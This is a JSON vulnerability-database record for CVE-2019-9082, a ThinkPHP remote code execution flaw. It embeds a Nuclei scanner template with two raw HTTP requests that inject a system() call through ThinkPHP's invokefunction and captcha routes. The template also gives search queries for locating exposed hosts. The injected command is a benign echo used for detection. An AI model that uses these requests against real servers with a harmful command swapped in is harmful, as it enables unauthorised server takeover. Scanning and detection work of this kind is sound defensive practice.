{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-9082/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-9082/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-9082/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-9082/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-9082/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-9082"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-9082"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-9082.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-9082\n\ninfo:\n  name: ThinkPHP < 3.2.4 - Remote Code Execution\n  author: 0xanis\n  severity: high\n  description: |\n    ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.\n  impact: |\n    Attackers can execute arbitrary system commands true the server without authentication, potentially leading to full system compromise.\n  remediation: |\n    Update to ThinkPHP 3.2.4 or later, or apply vendor patches.\n  reference:\n    - https://github.com/xyl-tools/open_source_bms/issues/33\n    - http://packetstormsecurity.com/files/157218/ThinkPHP-5.0.23-Remote-Code-Execution.html\n    - https://www.exploit-db.com/exploits/46488/\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/thinkphp_rce.rb\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-9082\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:opensourcebms:open_source_background_management_system:1.1.1:*:*:*:*:*:*:*\n    epss-score: 0.97419\n    epss-percentile: 0.99897\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: app=\"ThinkPHP\"\n    google-query: inurl:\"index.php?s=\" \"thinkphp\"\n  tags: cve,cve2019,thinkphp,open_source_bms,none_cms,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20thinkphp%20%7C%20rev HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /index.php?s=captcha HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20thinkphp%20%7C%20rev\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"phpkniht\")'\n          - 'status_code == 200 || status_code == 500'\n        condition: and\n# digest: 4a0a0047304502205acec026448d5f99fb3b031cd3927839a2103945c4bf643508f64304e3583c0a022100b5e19e25d10ea5c2708d8c1577ea335a0115159f269f7a39521263b718ae614d:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-9082"
}